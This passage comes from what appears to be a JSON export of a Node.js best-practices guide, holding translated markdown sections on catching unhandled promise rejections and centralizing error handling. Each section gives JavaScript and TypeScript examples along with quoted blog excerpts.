reason;\n});\n\nprocess.on('uncaughtException', (error: Error) => {\n  // I just received an error that was never handled, time to handle it and then decide whether a restart is needed\n  errorManagement.handler.handleError(error);\n  if (!errorManagement.handler.isTrustedError(error))\n    process.exit(1);\n});\n```\n</details>\n\n<br/><br/>\n\n### Cytat z Bloga: \"If you can make a mistake, at some point you will\"\n\n Z bloga James Nelson\n\n > Let’s test your understanding. Which of the following would you expect to print an error to the console?\n\n```javascript\nPromise.resolve('promised value').then(() => {\n  throw new Error('error');\n});\n\nPromise.reject('error value').catch(() => {\n  throw new Error('error');\n});\n\nnew Promise((resolve, reject) => {\n  throw new Error('error');\n});\n```\n\n> I don’t know about you, but my answer is that I’d expect all of them to print an error. However, the reality is that a number of modern JavaScript environments won’t print errors for any of them.The problem with being human is that if you can make a mistake, at some point you will. Keeping this in mind, it seems obvious that we should design things in such a way that mistakes hurt as little as possible, and that means handling errors by default, not discarding them.\n"
  },
  {
    "path": "sections/errorhandling/catchunhandledpromiserejection.russian.md",
    "content": "# Перехватывайте необработанные отказы от обещаний\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nКак правило, большая часть современного кода приложения Node.js/Express выполняется в обещаниях - будь то в обработчике .then, обратном вызове функции или в блоке catch. Удивительно, но если разработчик не вспомнил о добавлении предложения .catch, ошибки, возникающие в этих местах, не обрабатываются обработчиком событий uncaughtException и исчезают. Недавние версии Node добавляли предупреждающее сообщение, когда появляется необработанный отказ, хотя это могло помочь заметить, когда что-то пойдет не так, но это явно не правильный метод обработки ошибок. Простое решение состоит в том, чтобы никогда не забывать добавлять предложения .catch в каждый вызов цепочки обещаний и перенаправлять их в централизованный обработчик ошибок. Однако построение вашей стратегии обработки ошибок только на основе дисциплины разработчика несколько хрупко. Следовательно, настоятельно рекомендуется использовать изящный запасной вариант и подписаться на `process.on('unhandledRejection', callback)` - это гарантирует, что любая ошибка обещания, если она не обрабатывается локально, будет обработана.\r\n\r\n<br/><br/>\r\n\r\n### Пример кода: эти ошибки не будут обнаружены никаким обработчиком ошибок (кроме unhandledRejection)\r\n\r\n```javascript\r\nDAL.getUserById(1).then((johnSnow) => {\r\n  // this error will just vanish\r\n  if(johnSnow.isAlive === false)\r\n      throw new Error('ahhhh');\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Пример кода: отлов нерешенных и отклоненных обещаний\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\nprocess.on('unhandledRejection', (reason, p) => {\r\n  // I just caught an unhandled promise rejection,\r\n  // since we already have fallback handler for unhandled errors (see below),\r\n  // let throw and let him handle that\r\n  throw reason;\r\n});\r\n\r\nprocess.on('uncaughtException', (error) => {\r\n  // I just received an error that was never handled, time to handle it and then decide whether a restart is needed\r\n  errorManagement.handler.handleError(error);\r\n  if (!errorManagement.handler.isTrustedError(error))\r\n    process.exit(1);\r\n});\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\nprocess.on('unhandledRejection', (reason: string, p: Promise<any>) => {\r\n  // I just caught an unhandled promise rejection,\r\n  // since we already have fallback handler for unhandled errors (see below),\r\n  // let throw and let him handle that\r\n  throw reason;\r\n});\r\n\r\nprocess.on('uncaughtException', (error: Error) => {\r\n  // I just received an error that was never handled, time to handle it and then decide whether a restart is needed\r\n  errorManagement.handler.handleError(error);\r\n  if (!errorManagement.handler.isTrustedError(error))\r\n    process.exit(1);\r\n});\r\n```\r\n</details>\r\n\r\n<br/><br/>\r\n\r\n### Цитата в блоге: \"Если вы можете сделать ошибку, в какой-то момент вы это сделаете\"\r\n\r\nИз блога Джеймса Нельсона\r\n\r\n> Давайте проверим ваше понимание. Что из следующего вы ожидаете увидеть как ошибку в консоли?\r\n\r\n```javascript\r\nPromise.resolve('promised value').then(() => {\r\n  throw new Error('error');\r\n})\r\n\r\nPromise.reject('error value').catch(() => {\r\n  throw new Error('error')\r\n});\r\n\r\nnew Promise((resolve, reject) => {\r\n  throw new Error('error');\r\n});\r\n```\r\n\r\n> Я не знаю о вас, но я отвечу, что я ожидаю, что все они напечатают ошибку. Однако реальность такова, что ряд современных сред JavaScript не будет печатать ошибки ни для одной из них. Проблема с тем, чтобы быть человеком, состоит в том, что если вы можете ошибиться, в какой-то момент вы это сделаете. Имея это в виду, кажется очевидным, что мы должны проектировать вещи таким образом, чтобы ошибки причиняли как можно меньше вреда, а это означает, что по умолчанию ошибки обрабатывают, а не отбрасывают их.\r\n"
  },
  {
    "path": "sections/errorhandling/centralizedhandling.basque.md",
    "content": "# Kudeatu erroreak gune bakar batean, Express middleware erabili partez\n\n### Azalpena\n\nErroreak kudeatzeko objektu dedikaturik gabe, handiagoak dira erroreak inkoherentziaz kudeatzeko aukerak: web eskaeren barruan izandako erroreak eta hasierako fasean planteatutakoen edo programatutako lanek sortutakoen desberdinak izan daitezke. Horrek eragina izan dezake oker kudeatzen ari diren errore mota batzuetan. Erroreak kudeatzen dituen objektu bakar horren ardura da erroreak begi bistan jartzea, adibidez ondo formateatutako erregistro batean idatziz edo monitorizazio produktu batzuk erabiliz ([Prometheus](https://prometheus.io/), [CloudWatch](https://aws.amazon.com/cloudwatch/), [DataDog](https://www.datadoghq.com/) eta [Sentry](https://sentry.io/) bezalakoak); eta, gainera, berak erabakitzen du prozesuak huts egin behar duen ala ez. Web plataforma gehienek erroreak atzemateko middleware mekanismoa eskaintzen dute. Errore tipikoa izaten da middlewarearen erroreen kudeaketa kodea jartzea. Horrela, ezin izango duzu kudeatzaile bera berrerabili eszenatoki desberdinetan atzemandako erroreetarako, hala nola, programatutako lanak, harpidedunen mezu ilarak eta atzeman gabeko salbuespenak. Ondorioz, errorearen middlewareak erroreak atzeman eta kudeatzailera bidali beharko lituzke. Hau izan liteke errore kudeaketaren fluxu tipikoa: moduluren batzuek errore bat jaurtitzen dute -> API bideratzaileak errorea atzematen du -> erroreak atzemateaz arduratzen den middlewarera bidaltzen du (edo eskaera mailako erroreak atzemateko beste mekanismo batera) -> errore kudeatzaile zentralizatu bati deitzen zaio\n\n### Kode adibidea: ohiko errore fluxua\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// DAL (Data Access Layer) geruza, ez ditugu erroreak hemen kudeatzen\nDB.gehituDokumentua(bezeroBerria, (errorea, emaitza) => {\n  if (errorea)\n    throw new Error('Errore azalpen bikaina dator hemen', bestelako parametro erabilgarri batzuk)\n});\n\n// API bide kodea, errore sinkrono eta asinkronoak harrapatu eta middlewarera desbideratzen ditugu hemen\ntry {\n  bezeroZerbitzua.gehituBerria(req.body).then((emaitza) => {\n    res.status(200).json(emaitza);\n  }).catch((errorea) => {\n    next(errorea)\n  });\n}\ncatch (errorea) {\n  next(errorea);\n}\n\n// Errore-kudeaketa middlewarea, errore kudeatzaile zentralizatuari uzten diogu errore kudeaketa\napp.use(async (errorea, req, res, next) => {\n  const operazioErroreaDa = await erroreKudeatzailea.kudeatuErrorea(errorea);\n  if (!operazioErroreaDa) {\n    next(errorea);\n  }\n});\n```\n\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// DAL (Data Access Layer) geruza, ez ditugu erroreak hemen kudeatzen\nDB.gehituDokumentua(bezeroBerria, (errorea: Error, emaitza: Result) => {\n  if (errorea)\n    throw new Error('Errore azalpen bikaina dator hemen', bestelako parametro erabilgarri batzuk)\n});\n\n// API bide kodea, errore sinkrono eta asinkronoak harrapatu eta middlewarera desbideratzen ditugu hemen\ntry {\n  bezeroZerbitzua.gehituBerria(req.body).then((emaitza: Result) => {\n    res.status(200).json(emaitza);\n  }).catch((errorea: Error) => {\n    next(errorea)\n  });\n}\ncatch (errorea) {\n  next(errorea);\n}\n\n// Errore-kudeaketa middlewarea, errore kudeatzaile zentralizatuari uzten diogu errore kudeaketa\napp.use(async (errorea: Error, req: Request, res: Response, next: NextFunction) => {\n  const operazioErroreaDa = await erroreKudeatzailea.kudeatuErrorea(errorea);\n  if (!operazioErroreaDa) {\n    next(errorea);\n  }\n});\n```\n\n</details>\n\n### Kode adibidea: erroreen kudeaketa ardura bakarreko objektuekin\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\nmodule.exports.kudeatzailea = new erroreKudeatzailea();\n\nfunction erroreKudeatzailea() {\n  this.erroreaKudeatu = async (errorea) => {\n    await logger.erroreaErregistratu(errorea);\n    await kritikoaBadaAdministrariariPostaElektronikoaBidali;\n    await kritikoaBadaOperazioZerrendanGorde;\n    await erabakiIaOperazioErroreaDen;\n  };\n}\n```\n\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\nclass ErroreKudeatzailea {\n  public async erroreaKudeatu(errorea: Error): Promise<void> {\n    await logger.erroreaErregistratu(errorea);\n    await kritikoaBadaAdministrariariPostaElektronikoaBidali();\n    await kritikoaBadaOperazioZerrendanGorde();\n    await erabakiIaOperazioErroreaDen();\n  }\n}\n\nexport const kudeatzailea = new ErroreKudeatzailea();\n```\n\n</details>\n\n### Anti ereduaren kode adibidea: kudeatu erroreak middleware barruan\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// zuzeneko errore kudeaketa middlewarean, Cron atazak eta frogatze erroreak kudeatuko dituena?\napp.use((errorea, req, res, next) => {\n  logger.erroreaErregistratu(errorea);\n  if (errorea.larritasuna == erroreak.altua) {\n    posta.postaElektronikoaBidali(\n      konfigurazioa.administrariPostaElektronikoa,\n      \"Errore kritikoa gertatu da\",\n      errorea\n    );\n  }\n  if (!errorea.operazioErroreaDa) {\n    next(errorea);\n  }\n});\n```\n\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// zuzeneko errore kudeaketa middlewarean, Cron atazak eta frogatze erroreak kudeatuko dituena?\napp.use((errorea: Error, req: Request, res: Response, next: NextFunction) => {\n  logger.erroreaErregistratu(errorea);\n  if (errorea.larritasuna == erroreak.altua) {\n    posta.postaElektronikoaBidali(\n      konfigurazioa.administrariPostaElektronikoa,\n      \"Errore kritikoa gertatu da\",\n      errorea\n    );\n  }\n  if (!errorea.operazioErroreaDa) {\n    next(errorea);\n  }\n});\n```\n\n</details>\n\n### Blog aipua: \"Batzuetan maila baxuagoek beren deitzaileari errorea bidaltzea baino ezer praktikoagorik ezin dute egin\"\n\nJoyent blogeko “Node.js errore kudeaketa\" hitz gako bati esker sailkatua\n\n> …Errore bera pilaren maila askotan kudeatzen bukatuko duzu. Hau gertatzen da maila baxuenek beren deitzaileei (eta beste haiek beren deitzaileei, etab.) errorea bidaltzea baino beste ezer egokiagorik ezin dutenean egin. Askotan, soilik goi mailako deitzaileak daki zein den erantzun zuzena, ia ahalegin operazio berria den, erabiltzaileari errorearen berri eman behar dion, edo beste edozer. Baina horrek ez du esan nahi errore guztiak goi mailako callback bakar bati jakinarazi behar dizkiozunik, callback horrek ere errorea zein testuingurutan gertatu den ez daki eta…\n\n### Blog aipua: \"Errore bakoitza bakarka kudeatzea bikoizte galanta izan daiteke\"\n\nJS Recipes blogeko “Node.js errore kudeaketa\" 17 hitz gakori esker sailkatua\n\n> ……Hackathoneko Starter api.js kontrolatzaile bakarrean, 79 errore objektu inguru daude. Errore bakoitza bakarka kudeatzeak kodea ikaragarri bikoiztea eragin dezake. Hurrengo egin dezakezun gauza hoberena da errore kudeaketa logika Express middleware bati uztea…\n\n### Blog aipua: \"HTTP erroreak ezin dira zure datu basearen kodean egon\"\n\nDaily JS blogeko “Node.js errore kudeaketa\" 14 hitz gakori esker sailkatua\n\n> ……Errore objektuetan ezaugarri erabilgarriak zehaztu beharko zenituzke, baina ezaugarri horiek tinko erabiliz. Eta, ez gurutzatu korronteak: HTTP erroreak ezin dira zure datu basearen kodean egon. Edota, nabigatzaile garatzaileentzat, Ajax erroreak zerbitzariarekin hitz egiten duten kodean egon daitezke, baina Mustache txantiloiak prozesatzen dituen koderik ez…\n"
  },
  {
    "path": "sections/errorhandling/centralizedhandling.brazilian-portuguese.md",
    "content": "# Lide com erros de forma centralizada. Não dentro de middlewares\n\n### Explicação em um Parágrafo\n\nSem um objeto dedicado para o tratamento de erros, maiores são as chances de erros importantes se esconderem sob o radar devido a manuseio inadequado. O objeto manipulador de erros é responsável por tornar o erro visível, por exemplo, gravando em um logger bem formatado, enviando eventos para algum produto de monitoramento, como [Sentry](https://sentry.io/), [Rollbar](https://rollbar.com/), ou [Raygun](https://raygun.com/). A maioria dos frameworks web, como [Express](http://expressjs.com/en/guide/error-handling.html#writing-error-handlers), fornece um mecanismo de manipulação de erro através de um middleware. Um fluxo típico de manipulação de erros pode ser: Algum módulo lança um erro -> o roteador da API detecta o erro -> ele propaga o erro para o middleware (por exemplo, Express, KOA) que é responsável por detectar erros -> um manipulador de erro centralizado é chamado -> o middleware está sendo informado se erro é um erro não confiável (não operacional) para que ele possa reiniciar o aplicativo graciosamente. Note que é uma prática comum, mas errada, lidar com erros no middleware do Express - isso não cobre erros que são lançados em interfaces que não sejam da web.\n\n### Exemplo de código - um fluxo de erro típico\n\n```javascript\n// camada de acesso a dados, não lidamos com erros aqui\nDB.addDocument(newCustomer, (error, result) => {\n  if (error)\n    throw new Error(\"explicação melhor do erro aqui\", other useful parameters)\n});\n\n// Código de rota da API, detectamos erros de sincronos e assíncronos e encaminhamos para o middleware\ntry {\n  customerService.addNew(req.body).then((result) => {\n    res.status(200).json(result);\n  }).catch((error) => {\n    next(error)\n  });\n}\ncatch (error) {\n  next(error);\n}\n\n// Erro ao manipular o middleware, delegamos a manipulação ao manipulador de erro centralizado\napp.use(async (err, req, res, next) => {\n  const isOperationalError = await errorHandler.handleError(err);\n  if (!isOperationalError) {\n    next(err);\n  }\n});\n```\n\n### Exemplo de código - manipulando erros dentro de um objeto dedicado\n\n```javascript\nmodule.exports.handler = new errorHandler();\n\nfunction errorHandler() {\n  this.handleError = async function(err) {\n    await logger.logError(err);\n    await sendMailToAdminIfCritical;\n    await saveInOpsQueueIfCritical;\n    await determineIfOperationalError;\n  };\n}\n```\n\n### Exemplo de código - Anti-padrão: manipulando erros dentro do middleware\n\n```javascript\n// middleware lida com o erro diretamente, quem vai lidar com tarefas Cron e erros de teste?\napp.use((err, req, res, next) => {\n  logger.logError(err);\n  if (err.severity == errors.high) {\n    mailer.sendMail(configuration.adminMail, 'Erro crítico ocorreu', err);\n  }\n  if (!err.isOperational) {\n    next(err);\n  }\n});\n```\n\n### Citação de Blog: \"Às vezes, níveis mais baixos não podem fazer nada útil, exceto propagar o erro para quem o chamou\"\n\nDo blog Joyent, classificado como 1 para as palavras-chave “Node.js error handling”\n\n> …Você pode acabar lidando com o mesmo erro em vários níveis do stack. Isso acontece quando os níveis mais baixos não podem fazer nada útil, exceto propagar o erro para quem o chamou, o qual propaga o erro para quem o chamou e assim por diante. Geralmente, somente quem chama sabe qual é a resposta apropriada, seja para repetir a operação, relatar um erro ao usuário ou outra coisa. Mas isso não significa que você deve tentar reportar todos os erros para uma única callback de nível superior, porque a própria callback não pode saber em que contexto o erro ocorreu…\n\n### Citação de Blog: \"Lidar com cada erro individualmente resultaria em uma enorme duplicação\"\n\nDo blog JS Recipes classificado como 17 para as palavras-chave “Node.js error handling”\n\n> ……Apenas no controlador do api.js da Hackathon Starter, existem mais de 79 ocorrências de objetos de erro. Lidar com cada erro individualmente resultaria em uma enorme quantidade de duplicação de código. A próxima melhor opção que você tem é delegar toda a lógica de tratamento de erros para um middleware do Express…\n\n### Citação de Blog: \"Erros de HTTP não têm lugar na sua base de código\"\n\nDo blog Daily JS classificado como 14 para as palavras-chave “Node.js error handling”\n\n> ……Você deve definir propriedades úteis em objetos de erro, mas use essas propriedades de forma consistente. E não cruze os fluxos: Erros de HTTP não têm lugar na sua base de código. Ou para desenvolvedores de navegador, os erros do Ajax têm um lugar no código que fala com o servidor, mas não no código que processa os templates Mustache…\n"
  },
  {
    "path": "sections/errorhandling/centralizedhandling.chinese.md",
    "content": "# 集中处理错误，通过但不是在中间件里处理错误\r\n\r\n\r\n### 一段解释\r\n\r\n如果没有一个专用的错误处理对象，那么由于操作不当，在雷达下重要错误被隐藏的可能性就会更大。错误处理对象负责使错误可见，例如通过写入一个格式化良好的logger，通过电子邮件将事件发送到某个监控产品或管理员。一个典型的错误处理流程可能是：一些模块抛出一个错误 -> API路由器捕获错误 -> 它传播错误给负责捕获错误的中间件（如Express，KOA）-> 集中式错误处理程序被调用 -> 中间件正在被告之这个错误是否是一个不可信的错误（不是操作型错误），这样可以优雅的重新启动应用程序。注意，在Express中间件中处理错误是一种常见但又错误的做法，这样做不会覆盖在非Web接口中抛出的错误。\r\n\r\n\r\n\r\n### 代码示例 – 一个典型错误流\r\n\r\n```javascript\r\n//DAL层, 在这里我们不处理错误\r\nDB.addDocument(newCustomer, (error, result) => {\r\n    if (error)\r\n        throw new Error(\"Great error explanation comes here\", other useful parameters)\r\n});\r\n \r\n//API路由代码, 我们同时捕获异步和同步错误，并转到中间件\r\ntry {\r\n    customerService.addNew(req.body).then(function (result) {\r\n        res.status(200).json(result);\r\n    }).catch((error) => {\r\n        next(error)\r\n    });\r\n}\r\ncatch (error) {\r\n    next(error);\r\n}\r\n \r\n//错误处理中间件，我们委托集中式错误处理程序处理错误\r\napp.use(function (err, req, res, next) {\r\n    errorHandler.handleError(err).then((isOperationalError) => {\r\n        if (!isOperationalError)\r\n            next(err);\r\n    });\r\n});\r\n\r\n```\r\n\r\n### 代码示例 – 在一个专门的对象里面处理错误\r\n\r\n```javascript\r\nmodule.exports.handler = new errorHandler();\r\n \r\nfunction errorHandler() {\r\n    this.handleError = function (err) {\r\n        return logger.logError(err).then(sendMailToAdminIfCritical).then(saveInOpsQueueIfCritical).then(determineIfOperationalError);\r\n    }\r\n}\r\n```\r\n\r\n### 代码示例 – 反模式：在中间件内处理错误\r\n\r\n```javascript\r\n//中间件直接处理错误，那谁将处理Cron任务和测试错误呢？\r\napp.use(function (err, req, res, next) {\r\n    logger.logError(err);\r\n    if(err.severity == errors.high)\r\n        mailer.sendMail(configuration.adminMail, \"Critical error occured\", err);\r\n    if(!err.isOperational)\r\n        next(err);\r\n});\r\n\r\n```\r\n\r\n### 博客引用: \"有时较低的级别不能做任何有用的事情, 除非将错误传播给他们的调用者\"\r\n 摘自博客 Joyent, 对应关键字 “Node.JS error handling” 排名第一\r\n \r\n > …您可能会在stack的多个级别上处理相同的错误。这发生在当较低级别不能执行任何有用的操作，除了将错误传播给它们的调用方, 从而将错误传播到其调用方, 等等。通常, 只有top-level调用方知道适当的响应是什么, 无论是重试操作、向用户报告错误还是其他事情。但这并不意味着您应该尝试将所有错误报告给单个top-level回调, 因为该回调本身无法知道错误发生在什么上下文中…\r\n\r\n \r\n### 博客引用: \"单独处理每个错误将导致大量的重复\"\r\n 摘自博客 JS Recipes, 对应关键字 “Node.JS error handling” 排名17\r\n \r\n > ……仅仅在Hackathon启动api.js控制器中, 有超过79处重复的错误对象。单独处理每个错误将导致大量的代码重复。您可以做的下一个最好的事情是将所有错误处理逻辑委派给一个express中间件…\r\n\r\n\r\n### 博客引用: \"HTTP错误不会在数据库代码中出现\"\r\n 摘自博客 Daily JS, 对应关键字 “Node.JS error handling” 排名14\r\n \r\n > ……您应该在error对象中设置有用的属性, 但使用此类属性时应保持一致。而且, 不要越过流: HTTP错误不会在数据库代码中出现。或者对于浏览器开发人员来说, Ajax 错误在与服务器交互的代码中有一席之地, 而不是处理Mustache模板的代码…\r\n\r\n"
  },
  {
    "path": "sections/errorhandling/centralizedhandling.french.md",
    "content": "# Gérez les erreurs de manière centralisée, pas dans les middlewares\n\n### Un paragraphe d'explication\n\nSans un objet dédié au traitement des erreurs, les risques de traitement incohérent des erreurs sont plus grands : les erreurs lancées à l'intérieur des requêtes web peuvent être traitées différemment de celles qui sont levées lors de la phase de démarrage et de celles qui sont levées par les jobs planifiés. Cela peut conduire à certains types d'erreurs qui sont mal gérés. Cet objet unique de traitement des erreurs est chargé de rendre l'erreur visible, par exemple, en écrivant dans un journal bien formaté, en envoyant des mesures à l'aide d'un produit de surveillance (comme [Prometheus](https://prometheus.io/), [CloudWatch](https://aws.amazon.com/cloudwatch/), [DataDog](https://www.datadoghq.com/) et [Sentry](https://sentry.io/)) et de décider si le processus doit planter. La plupart des frameworks web fournissent un mécanisme de middleware pour la détection des erreurs - une erreur typique consiste à placer le code de gestion des erreurs dans ce middelware. Ce faisant, vous ne pourrez pas réutiliser le même gestionnaire pour les erreurs qui sont détectées dans différents scénarios comme les tâches planifiées, les abonnés à la file d'attente des messages et les exceptions non détectées. Par conséquent, le middleware de gestion des erreurs ne doit que capturer les erreurs et les transmettre au gestionnaire. Un flux typique de traitement des erreurs pourrait être : un module lance une erreur -> le routeur API capture l'erreur -> il propage l'erreur au middleware (par exemple ou à un autre mécanisme de capture d'erreur au niveau de la requête) qui est responsable de la capture des erreurs -> un gestionnaire d'erreur centralisé est appelé.\n\n### Exemple de code - un flux d'erreur typique\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// Strate de la DAL, nous ne gérons pas les erreurs ici\nDB.addDocument(newCustomer, (error, result) => {\n  if (error)\n    throw new Error('Une bonne explication de l\\'erreur à cet endroit', autres parametres utiles)\n});\n\n// Code de l'API route, nous interceptons les erreurs synchrone et asynchrone et les transmettons au middleware\ntry {\n  customerService.addNew(req.body).then((result) => {\n    res.status(200).json(result);\n  }).catch((error) => {\n    next(error)\n  });\n}\ncatch (error) {\n  next(error);\n}\n\n// Gestion des erreurs du middleware, nous déléguons la gestion au gestionnaire d'erreurs centralisé\napp.use(async (err, req, res, next) => {\n  await errorHandler.handleError(err, res);//Le gestionnaire d'erreur enverra une réponse\n});\n\nprocess.on(\"uncaughtException\", error => {\n  errorHandler.handleError(error);\n});\n\nprocess.on(\"unhandledRejection\", (reason) => {\n  errorHandler.handleError(reason);\n});\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// Strate de la DAL, nous ne gérons pas les erreurs ici\nDB.addDocument(newCustomer, (error: Error, result: Result) => {\n  if (error)\n    throw new Error('Une bonne explication de l\\'erreur à cet endroit', autres parametres utiles)\n});\n\n// Code de l'API route, nous interceptons les erreurs synchrone et asynchrone et les transmettons au middleware\ntry {\n  customerService.addNew(req.body).then((result: Result) => {\n    res.status(200).json(result);\n  }).catch((error: Error) => {\n    next(error)\n  });\n}\ncatch (error) {\n  next(error);\n}\n\n// Gestion des erreurs du middleware, nous déléguons la gestion au gestionnaire d'erreurs centralisé\napp.use(async (err: Error, req: Request, res: Response, next: NextFunction) => {\n  await errorHandler.handleError(err, res);\n});\n\nprocess.on(\"uncaughtException\", (error:Error) => {\n  errorHandler.handleError(error);\n});\n\nprocess.on(\"unhandledRejection\", (reason) => {\n  errorHandler.handleError(reason);\n});\n```\n</details>\n\n\n### Exemple de code - gestion des erreurs dans un objet dédié\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\nmodule.exports.handler = new errorHandler();\n\nfunction errorHandler() {\n  this.handleError = async (error, responseStream) => {\n    await logger.logError(error);\n    await fireMonitoringMetric(error);\n    await crashIfUntrustedErrorOrSendResponse(error, responseStream);\n  };\n}\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\nclass ErrorHandler {\n  public async handleError(error: Error, responseStream: Response): Promise<void> {\n    await logger.logError(error);\n    await fireMonitoringMetric(error);\n    await crashIfUntrustedErrorOrSendResponse(error, responseStream);\n  };\n}\n\nexport const handler = new ErrorHandler();\n```\n</details>\n\n\n### Contre exemple de code - gestion des erreurs dans le middleware\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// middleware traitant l'erreur directement, qui va gérer les tâches Cron et tester les erreurs ?\napp.use((err, req, res, next) => {\n  logger.logError(err);\n  if (err.severity == errors.high) {\n    mailer.sendMail(configuration.adminMail, 'Une erreur critique s\\'est produite', err);\n  }\n  if (!err.isOperational) {\n    next(err);\n  }\n});\n```\n</details>\n\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// middleware traitant l'erreur directement, qui va gérer les tâches Cron et tester les erreurs ?\napp.use((err: Error, req: Request, res: Response, next: NextFunction) => {\n  logger.logError(err);\n  if (err.severity == errors.high) {\n    mailer.sendMail(configuration.adminMail, 'Une erreur critique s\\'est produite', err);\n  }\n  if (!err.isOperational) {\n    next(err);\n  }\n});\n```\n</details>\n\n### Illustration : Les acteurs et le flux du traitement des erreurs\n![alt text](../../assets/images/error-handling-flow.png \"Flux de traitement des erreurs\")\n\n\n### Citation de blog : « Parfois, les niveaux inférieurs ne peuvent rien faire d'utile, sauf propager l'erreur à leur appelant »\n\nExtrait du blog de Joyent classé en 1ere position pour les mots clés “Node.js error handling”\n\n> …Vous pouvez finir par gérer la même erreur à plusieurs niveaux de la pile. Cela se produit lorsque les niveaux inférieurs ne peuvent rien faire d'autre d'utile que de propager l'erreur à leur appelant, qui propage l'erreur à son appelant et ainsi de suite. Souvent, seul l'appelant de niveau supérieur sait quelle est la réponse appropriée, que ce soit pour réessayer l'opération, signaler une erreur à l'utilisateur ou autre chose. Mais cela ne signifie pas que vous devez essayer de signaler toutes les erreurs à une seule fonction de rappel de niveau supérieur, car cette fonction de rappel elle-même ne peut pas savoir dans quel contexte l'erreur s'est produite.…\n\n### Citation de blog : « Gérer chaque erreur individuellement entraînerait une énorme duplication »\n\nExtrait du blog de JS Recipes classé en 17eme position pour les mots clés “Node.js error handling”\n\n> ……Uniquement dans le contrôleur api.js de Hackathon Starter, il y a plus de 79 occurrences d'objets d'erreur. Gérer chaque erreur individuellement entraînerait une énorme duplication de code. La meilleure chose à faire est de déléguer toute la logique de gestion des erreurs à un middleware Express…\n\n### Citation de blog : « les erreurs HTTP n'ont pas leur place dans le code de votre base de données »\n\nExtrait du blog de Daily JS classé en 14eme position pour les mots clés “Node.js error handling”\n\n> ……Vous devez définir des propriétés utiles dans les objets d'erreur, mais utilisez ces propriétés de manière cohérente. Et ne traversez pas les flux : les erreurs HTTP n'ont pas leur place dans le code de votre base de données. Ou pour les développeurs dans les navigateurs, les erreurs Ajax ont une place dans le code qui parle au serveur, mais pas dans le code qui traite les templates de Mustache…\n"
  },
  {
    "path": "sections/errorhandling/centralizedhandling.japanese.md",
    "content": "# エラー処理を一元化し、ミドウェア内で処理をしない\n\n### 一段落説明\n\nエラー処理専用のオブジェクトがないと、不適切な処理が原因となって重要なエラーが発見されない可能性が高くなります。エラー処理オブジェクトは、エラーを可視化する責任をもちます。例えば、整形されたロガーに書き込んだり、[Sentry](https://sentry.io/), [Rollbar](https://rollbar.com/), [Raygun](https://raygun.com/) のようなモニタリングサービスにイベントを送信したりするといったことなどです。[Express](http://expressjs.com/en/guide/error-handling.html#writing-error-handlers) のようなほとんどの Web フレームワークは、エラー処理ミドルウェア機構を提供しています。典型的なエラー処理の流れは以下のようになります。いくつかのモジュールがエラーを投げる -> API router がエラーを捕捉する -> エラー捕捉に責任を持つミドルウェア（例: Express、KOA）にエラーを伝搬する -> 一元化されているエラーハンドラが呼び出される -> ミドルウェアは、補足したエラーが信頼されていないエラーかどうか（操作上のエラーでないか）が伝えられているので、アプリを直ちに再起動することができるようになっています。Express ミドルウェア内でエラー処理をすることは一般的ですが、実際には間違っていることに注意してください ー そうしてしまうと、ウェブ以外のインタフェースで投げられたエラーをカバーすることができません。\n\n### コード例 – 典型的なエラーフロー\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// DAL（データアクセスレイヤー）, ここではエラー処理を行いません\nDB.addDocument(newCustomer, (error, result) => {\n  if (error)\n    throw new Error('Great error explanation comes here', other useful parameters)\n});\n\n// API route コード, 同期エラーと非同期エラーの両方を捕捉し、ミドルウェアへ進みます\ntry {\n  customerService.addNew(req.body).then((result) => {\n    res.status(200).json(result);\n  }).catch((error) => {\n    next(error)\n  });\n}\ncatch (error) {\n  next(error);\n}\n\n// エラー処理ミドルウェア、一元化されたエラーハンドラに処理を委譲します\napp.use(async (err, req, res, next) => {\n  const isOperationalError = await errorHandler.handleError(err);\n  if (!isOperationalError) {\n    next(err);\n  }\n});\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// DAL（データアクセスレイヤー）, ここではエラー処理を行いません\nDB.addDocument(newCustomer, (error: Error, result: Result) => {\n  if (error)\n    throw new Error('Great error explanation comes here', other useful parameters)\n});\n\n// API route コード, 同期エラーと非同期エラーの両方を捕捉し、ミドルウェアへ進みます\ntry {\n  customerService.addNew(req.body).then((result: Result) => {\n    res.status(200).json(result);\n  }).catch((error: Error) => {\n    next(error)\n  });\n}\ncatch (error) {\n  next(error);\n}\n\n// エラー処理ミドルウェア、一元化されたエラーハンドラに処理を委譲します\napp.use(async (err: Error, req: Request, res: Response, next: NextFunction) => {\n  const isOperationalError = await errorHandler.handleError(err);\n  if (!isOperationalError) {\n    next(err);\n  }\n});\n```\n</details>\n\n\n### コード例 – 専用オブジェクト内でのエラー処理\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\nmodule.exports.handler = new errorHandler();\n\nfunction errorHandler() {\n  this.handleError = async (err) => {\n    await logger.logError(err);\n    await sendMailToAdminIfCritical;\n    await saveInOpsQueueIfCritical;\n    await determineIfOperationalError;\n  };\n}\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\nclass ErrorHandler {\n  public async handleError(err: Error): Promise<void> {\n    await logger.logError(err);\n    await sendMailToAdminIfCritical();\n    await saveInOpsQueueIfCritical();\n    await determineIfOperationalError();\n  };\n}\n\nexport const handler = new ErrorHandler();\n```\n</details>\n\n\n### コード例 – アンチパターン: 